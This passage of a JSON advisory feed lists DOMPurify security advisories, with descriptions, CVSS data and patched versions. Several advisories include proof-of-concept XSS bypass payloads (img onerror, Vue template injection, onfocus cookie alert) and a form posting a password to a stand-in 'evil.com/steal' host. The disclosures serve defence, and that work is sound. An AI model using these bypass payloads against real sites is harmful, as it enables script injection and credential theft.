surface for root.\n\n3. **Refuse IN_PLACE on parent-less clobbered roots**: at the top of the iterator, check that the root either has a parent OR is not `_isClobbered`. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting \"sanitized = empty/safe.\"\n\n### Note on callable elements\n\nIn Chromium and WebKit, `HTMLEmbedElement`, `HTMLAppletElement`, `HTMLIFrameElement`, and `HTMLScriptElement` have `typeof === 'function'` because they expose plugin/iframe `[[Call]]` traps at the WebIDL level. A `name=\"setAttribute\"` *child* of one of these tags spoofs the `setAttribute typeof === 'function'` check — but only matters for the *attribute re-set* path at `:1619`, not the bypass demonstrated here (which uses `nodeName` and friends). The callable-element vector is worth checking separately as a potential `SAFE_FOR_TEMPLATES`-bypass primitive; the present report does not depend on it.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:53:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676","https://github.com/advisories/GHSA-r47g-fvhr-h676"],"source_kind":"github","identifiers":["GHSA-r47g-fvhr-h676","CVE-2026-49459"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.213Z","updated_at":"2026-08-06T13:01:32.859Z","epss_percentage":0.00303,"epss_percentile":0.22571,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNDdnLWZ2aHItaDY3Ns4ABYr1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNDdnLWZ2aHItaDY3Ns4ABYr1","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.6","vulnerable_version_range":"\u003c= 3.4.5"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNDdnLWZ2aHItaDY3Ns4ABYr1/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04N3hnLXB4eDItN2h2eM4ABX4O","url":"https://github.com/advisories/GHSA-87xg-pxx2-7hvx","title":"DOMPurify XSS via selectedcontent re-clone","description":"### Summary\nDOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers \"re-clone\" an XSS payload after sanitization, effectively bypassing DOMPurify. \n\n### Details\nThe chain is as follows:\n1. The browser parses the input and creates a `\u003cselectedcontent\u003e` clone from the selected `\u003coption\u003e`\n2. DOMPurify walks and sanitizes that generated clone.\n3. DOMPurify reaches the original `\u003coption\u003e` and removes `selected=javascript:1`\n4. The browser refreshes the `\u003cselectedcontent\u003e` clone from the original `option`'s content.\n5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize\n6. The returned string contains unsanitized markup inside `\u003cselectedcontent\u003e`.\n\n### PoC\n```js\nconst dirty =\n  '\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003c/selectedcontent\u003e\u003c/button\u003e' +\n  '\u003coption selected=javascript:1\u003e' +\n  '\u003cimg src=x onerror=alert(1)\u003ex' +\n  '\u003c/option\u003e\u003c/select\u003e';\n\nconst clean = DOMPurify.sanitize(dirty);\nconsole.log(clean);\n\ndocument.body.innerHTML = clean;\n```\n\nObserved \"sanitized\" output in Chromium 148/WebKit 625:\n```html\n\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003cimg src=\"x\" onerror=\"alert(1)\"\u003ex\u003c/selectedcontent\u003e\u003c/button\u003e\u003coption\u003e\u003cimg src=\"x\"\u003ex\u003c/option\u003e\u003c/select\u003e\n```\n\nAfter reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired:\n```html\n\u003cselect\u003e\u003cbutton\u003e\u003cselectedcontent\u003e\u003cimg src=\"x\"\u003ex\u003c/selectedcontent\u003e\u003c/button\u003e\u003coption\u003e\u003cimg src=\"x\"\u003ex\u003c/option\u003e\u003c/select\u003e\n```\n\nReproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.\n\n### Impact\nThis is a default-configuration DOMPurify sanitizer bypass resulting in XSS.\n\nApplications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-01T14:07:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx","https://github.com/advisories/GHSA-87xg-pxx2-7hvx"],"source_kind":"github","identifiers":["GHSA-87xg-pxx2-7hvx","CVE-2026-47423"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-01T15:00:08.950Z","updated_at":"2026-08-06T13:01:50.804Z","epss_percentage":0.0027,"epss_percentile":0.18912,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04N3hnLXB4eDItN2h2eM4ABX4O","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04N3hnLXB4eDItN2h2eM4ABX4O","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.5","vulnerable_version_range":"= 3.4.4"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04N3hnLXB4eDItN2h2eM4ABX4O/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oN213LWdwdnIteHE0bc4ABVoP","url":"https://github.com/advisories/GHSA-h7mw-gpvr-xq4m","title":"DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)","description":"There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -\u003e short-circuits\n      ) \u0026\u0026\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      '\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['iframe']\n      }\n    );\n    // Returns: '\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e'\n    // Expected: '' (iframe forbidden)\n\n    DOMPurify.sanitize(\n      '\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['form']\n      }\n    );\n    // Returns: '\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e'\n    // Expected: '\u003cinput name=\"password\"\u003e' (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      '\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e',\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: ['onclick']\n      }\n    );\n    // Returns: '\u003cp\u003ehello\u003c/p\u003e' (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-22T17:34:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m","https://github.com/cure53/DOMPurify/releases/tag/3.4.0","https://nvd.nist.gov/vuln/detail/CVE-2026-41240","https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80","https://github.com/advisories/GHSA-h7mw-gpvr-xq4m"],"source_kind":"github","identifiers":["GHSA-h7mw-gpvr-xq4m","CVE-2026-41240"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T18:00:09.144Z","updated_at":"2026-08-06T13:02:49.321Z","epss_percentage":0.00313,"epss_percentile":0.23544,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN213LWdwdnIteHE0bc4ABVoP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oN213LWdwdnIteHE0bc4ABVoP","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003c 3.4.0"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN213LWdwdnIteHE0bc4ABVoP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcnY1LTl2d3ctcTNnOM4ABVoO","url":"https://github.com/advisories/GHSA-crv5-9vww-q3g8","title":"DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode","description":"## Summary\n\n| Field | Value |\n|:------|:------|\n| **Severity** | Medium |\n| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |\n\n`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.\n\n## Technical Details\n\nDOMPurify strips template expressions in two passes:\n\n1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):\n\n```js\n// pass #1: runs on every text node during tree walk\nif (SAFE_FOR_TEMPLATES \u0026\u0026 currentNode.nodeType === NODE_TYPE.text) {\n  content = currentNode.textContent;\n  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -\u003e ' '\n  content = content.replace(ERB_EXPR, ' ');        // \u003c%...%\u003e -\u003e ' '\n  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -\u003e ' '\n  currentNode.textContent = content;\n}\n```\n\n2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.\n\nThe `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):\n\n```js\n// purify.ts (simplified)\n\nif (RETURN_DOM) {\n  // ... build returnNode ...\n  return returnNode;        // \u003c-- exits here, pass #2 never runs\n}\n\n// pass #2: only reached by string-mode callers\nif (SAFE_FOR_TEMPLATES) {\n  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');\n}\nreturn serializedHTML;\n```\n\nThe payload `{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor('alert(1)')()}\u003cfoo\u003e\u003c/foo\u003e}` exploits this:\n\n1. Parser creates: `TEXT(\"{\")` → `\u003cfoo\u003e` → `TEXT(\"{payload}\")` → `\u003cfoo\u003e` → `TEXT(\"}\")` — no single node contains `{{`, so pass #1 misses it\n2. `\u003cfoo\u003e` is not allowed, so DOMPurify removes it but keeps surrounding text\n3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes\n\n## Reproduce\n\nOpen the following html in any browser and `alert(1)` pops up.\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js\"\u003e\u003c/script\u003e\n  \u003cscript src=\"https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js\"\u003e\u003c/script\u003e\n  \u003cscript\u003e\n    var dirty = '\u003cdiv id=\"app\"\u003e{\u003cfoo\u003e\u003c/foo\u003e{constructor.constructor(\"alert(1)\")()}\u003cfoo\u003e\u003c/foo\u003e}\u003c/div\u003e';\n    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });\n    document.body.appendChild(dom.firstChild);\n    new Vue({ el: '#app' });\n  \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n```\n\n## Impact\n\nAny application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS.\n\n## Recommendations\n\n### Fix\n\n`normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`.\n\n```diff\n     if (RETURN_DOM) {\n+      if (SAFE_FOR_TEMPLATES) {\n+        body.normalize();\n+        let html = body.innerHTML;\n+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) =\u003e {\n+          html = stringReplace(html, expr, ' ');\n+        });\n+        body.innerHTML = html;\n+      }\n+\n       if (RETURN_DOM_FRAGMENT) {\n         returnNode = createDocumentFragment.call(body.ownerDocument);\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-22T17:32:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8","https://github.com/cure53/DOMPurify/releases/tag/3.4.0","https://nvd.nist.gov/vuln/detail/CVE-2026-41239","https://github.com/advisories/GHSA-crv5-9vww-q3g8"],"source_kind":"github","identifiers":["GHSA-crv5-9vww-q3g8","CVE-2026-41239"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T18:00:09.144Z","updated_at":"2026-08-06T13:02:49.322Z","epss_percentage":0.00248,"epss_percentile":0.16051,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcnY1LTl2d3ctcTNnOM4ABVoO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcnY1LTl2d3ctcTNnOM4ABVoO","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003e= 1.0.10, \u003c 3.4.0"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcnY1LTl2d3ctcTNnOM4ABVoO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OWpyLXJnNTMtOXBncM4ABVoN","url":"https://github.com/advisories/GHSA-v9jr-rg53-9pgp","title":"DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback","description":"## Summary\n\nDOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.\n\n## Affected Versions\n\n- **3.0.1 through 3.3.3** (current latest) — all affected\n- **3.0.0 and all 2.x versions** — NOT affected (used `Object.create(null)` for initialization, no `|| {}` reassignment)\n- The vulnerable `|| {}` reassignment was introduced in the 3.0.0→3.0.1 refactor\n- This is **distinct** from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)\n- This is **distinct** from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)\n\n## Root Cause\n\nIn `purify.js` at line 590, during config parsing:\n\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nWhen no `CUSTOM_ELEMENT_HANDLING` is specified in the config (the default usage pattern), `cfg.CUSTOM_ELEMENT_HANDLING` is `undefined`, and the fallback `{}` is used. This plain object inherits from `Object.prototype`.\n\nLines 591-598 then check `cfg.CUSTOM_ELEMENT_HANDLING` (the original config property) — which is `undefined` — so the conditional blocks that would set `tagNameCheck` and `attributeNameCheck` from the config are never entered.\n\nAs a result, `CUSTOM_ELEMENT_HANDLING.tagNameCheck` and `CUSTOM_ELEMENT_HANDLING.attributeNameCheck` resolve via the prototype chain. If an attacker has polluted `Object.prototype.tagNameCheck` and `Object.prototype.attributeNameCheck` with permissive values (e.g., `/.*/`), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.\n\n## Impact\n\n- **Attack type:** XSS bypass via prototype pollution chain\n- **Prerequisites:** Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)\n- **Config required:** Default. No special DOMPurify configuration needed. The standard `DOMPurify.sanitize(userInput)` call is affected.\n- **Payload:** Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization\n\n## Proof of Concept\n\n```javascript\n// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application\nObject.prototype.tagNameCheck = /.*/;\nObject.prototype.attributeNameCheck = /.*/;\n\n// Step 2: Application sanitizes user input with DEFAULT config\nconst clean = DOMPurify.sanitize('\u003cx-x onfocus=alert(document.cookie) tabindex=0 autofocus\u003e');\n\n// Step 3: \"Sanitized\" output still contains the event handler\nconsole.log(clean);\n// Output: \u003cx-x onfocus=\"alert(document.cookie)\" tabindex=\"0\" autofocus=\"\"\u003e\n\n// Step 4: When injected into DOM, XSS executes\ndocument.body.innerHTML = clean; // alert() fires\n```\n\n### Tested configurations that are vulnerable:\n\n| Call Pattern | Vulnerable? |\n|---|---|\n| `DOMPurify.sanitize(input)` | YES |\n| `DOMPurify.sanitize(input, {})` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })` | NO (explicit object triggers L591 path) |\n\n## Suggested Fix\n\nChange line 590 from:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nTo:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);\n```\n\nThe `create(null)` function (already used elsewhere in DOMPurify, e.g., in `clone()`) creates an object with no prototype, preventing prototype chain inheritance.\n\n### Alternative application-level mitigation:\n\nApplications can protect themselves by always providing an explicit `CUSTOM_ELEMENT_HANDLING` in their config:\n\n```javascript\nDOMPurify.sanitize(input, {\n  CUSTOM_ELEMENT_HANDLING: {\n    tagNameCheck: null,\n    attributeNameCheck: null\n  }\n});\n```\n\n## Timeline\n\n- **2026-04-04:** Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)\n- **2026-04-04:** Confirmed in Chrome browser with DOMPurify 3.3.3\n- **2026-04-04:** Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801\n- **2026-04-04:** Advisory drafted, responsible disclosure initiated\n\n## Credit\n\nhttps://github.com/trace37labs","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-22T17:31:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp","https://github.com/cure53/DOMPurify/releases/tag/3.4.0","https://nvd.nist.gov/vuln/detail/CVE-2026-41238","https://github.com/advisories/GHSA-v9jr-rg53-9pgp"],"source_kind":"github","identifiers":["GHSA-v9jr-rg53-9pgp","CVE-2026-41238"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T18:00:09.144Z","updated_at":"2026-08-16T04:03:52.706Z","epss_percentage":0.00225,"epss_percentile":0.13507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OWpyLXJnNTMtOXBncM4ABVoN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OWpyLXJnNTMtOXBncM4ABVoN","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003e= 3.0.1, \u003c 3.4.0"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OWpyLXJnNTMtOXBncM4ABVoN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOXEyLTk0cmMtOTVjcM4ABVWZ","url":"https://github.com/advisories/GHSA-39q2-94rc-95cp","title":"DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation","description":"## Summary\nIn `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.\n\nThe condition:\n```\n!(tagCheck(tagName)) \u0026\u0026 (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])\n```\nWhen `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.\n\n## Inconsistency\nThis contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:\n```\nif (FORBID_ATTR[lcName]) { continue; }\n```\nFor tags, FORBID should also take precedence over ADD.\n\n## Impact\nApplications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.\n\n## Suggested Fix\nCheck `FORBID_TAGS` before `tagCheck`:\n```\nif (FORBID_TAGS[tagName]) { /* remove */ }\nelse if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }\n```\n\n## Affected Version\nv3.3.3 (commit 883ac15)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-16T00:46:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp","https://github.com/advisories/GHSA-39q2-94rc-95cp"],"source_kind":"github","identifiers":["GHSA-39q2-94rc-95cp","CVE-2026-65903"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-16T01:00:09.918Z","updated_at":"2026-08-06T13:03:00.184Z","epss_percentage":0.002,"epss_percentile":0.1009,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOXEyLTk0cmMtOTVjcM4ABVWZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOXEyLTk0cmMtOTVjcM4ABVWZ","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.4.0","vulnerable_version_range":"\u003c= 3.3.3"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOXEyLTk0cmMtOTVjcM4ABVWZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jam1tLWY0amMtcXc4cs4ABUrA","url":"https://github.com/advisories/GHSA-cjmm-f4jc-qw8r","title":"DOMPurify ADD_ATTR predicate skips URI validation","description":"## Summary\nDOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `\u003ca href=\"javascript:alert(document.domain)\"\u003e` and have the `javascript:` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts `href` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.\n\n## Impact\nPredicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.\n\n## Credits\nIdentified by Cantina’s Apex (https://www.cantina.security).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-03T03:46:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r","https://github.com/cure53/DOMPurify/releases/tag/3.3.2","https://github.com/advisories/GHSA-cjmm-f4jc-qw8r"],"source_kind":"github","identifiers":["GHSA-cjmm-f4jc-qw8r","CVE-2026-65912"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T04:00:09.554Z","updated_at":"2026-08-06T13:03:19.521Z","epss_percentage":0.00175,"epss_percentile":0.07198,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jam1tLWY0amMtcXc4cs4ABUrA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jam1tLWY0amMtcXc4cs4ABUrA","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.3.2","vulnerable_version_range":"\u003c= 3.3.1"}],"purl":"pkg:npm/dompurify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jam1tLWY0amMtcXc4cs4ABUrA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jajYzLWpoaHItd2N4ds4ABUq_","url":"https://github.com/advisories/GHSA-cj63-jhhr-wcxv","title":"DOMPurify USE_PROFILES prototype pollution allows event handlers","description":"## Summary\nWhen `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `\u003cimg onclick=...\u003e` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.\n\n## Impact\nPrototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.\n\n## Credits\nIdentified by Cantina’s Apex (https://www.cantina.security).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-03T03:45:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv","https://github.com/cure53/DOMPurify/releases/tag/3.3.2","https://github.com/advisories/GHSA-cj63-jhhr-wcxv"],"source_kind":"github","identifiers":["GHSA-cj63-jhhr-wcxv","CVE-2026-65913"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-03T04:00:09.554Z","updated_at":"2026-08-06T13:03:19.521Z","epss_percentage":0.00185,"epss_percentile":0.08373,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajYzLWpoaHItd2N4ds4ABUq_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jajYzLWpoaHItd2N4ds4ABUq_","packages":[{"ecosystem":"npm","package_name":"dompurify","versions":[{"first_patched_version":"3.